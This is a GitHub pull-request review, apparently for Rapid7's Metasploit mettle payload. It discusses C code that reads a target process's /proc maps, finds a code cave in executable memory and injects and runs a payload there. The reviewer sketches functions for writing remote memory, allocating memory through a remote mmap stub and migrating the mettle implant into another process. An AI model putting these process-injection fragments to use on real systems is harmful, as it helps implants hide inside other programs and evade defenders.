Skip to content

Conversation

@msutovsky-r7
Copy link
Contributor

No description provided.

@dledda-r7 dledda-r7 self-assigned this Nov 6, 2025
Comment on lines 77 to 114
strcpy(maps_file_path, "/proc/");

strcat(maps_file_path, itoa(pid, 10));
strcat(maps_file_path, "/maps");

maps_handler = fopen(maps_file_path, "r");

char * permissions;
long start_address;
long end_address;

while(getline(&line,&len, maps_handler) != -1)
{
printf("%s\n", line);
permissions = get_permissions_from_line(line);

char * permission = permissions;
while(*permission != 0)
{
char permission_char = *permission;
if(permission_char == 0x78)
break;
permission++;
}

if(*permission == 0)
continue;

start_address = get_start_address_from_maps_line(line);
end_address = get_end_address_from_maps_line(line);

long code_cave_address = find_codecave(pid,start_address, end_address, 0x100);
if(code_cave_address){
printf("Found code cave at: %lx\n", code_cave_address);
// try to inject
copy_and_run_payload(pid, code_cave_address,payload,12);
break;
}
Copy link
Contributor

@dledda-r7 dledda-r7 Nov 6, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I woul split this function and the copye and run payload in:

int write_process_memory(pid, remote_address, local_address, size)

and remote_call(pid, remote_address)

also i think the section lookup for executable memory maps should be directly in the find codecave so you have a transparent api that just get you the address of what you need

also you can create something like:
int remote_memory_allocate(int process_pid, int mem_size)

that will be something like

int remote_memory_allocate(int process_pid, int memory_size) {
    int allocated_mem = get_code_cave(memory_size);
    if(allocated_mem > 0) {
         return allocated_mem;
    }
    int wrapper_memory_size = memory_size; // possible compiler issue that's why we wrap it.
    memcpy(mmap_stub + offset_size_memory, &memory_size, sizeof(int));
    int code_cave_addr = get_code_cave(mmap_stub_size);
    write_process_memory(process_pid, code_cave_addr, mmap_stub, mmap_stub_size);
    remote_call(process_pid, code_cave_addr);
    return get_code_cave(memory_size);
}

then the migrate can look like

int migrate(int pid) {
     int migrate_stub_addr = remote_memory_alloc(pid, migrate_stub_size);
     int mettle_addr = remote_memory_alloc(pid, mettle_binimage_size);
     write_process_memory(pid, mettle_addr, mettle_binimage, mettle_binimage_size);
     memcpy(migrate_stub + offset_mettle_addr, &mettle_addr, sizeof(void *));
     wirte_process_memory(pid, migrate_stub_addr, migrate_context, migrate_stub_size);
     remote_call(pid, migrate_stub_addr);
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants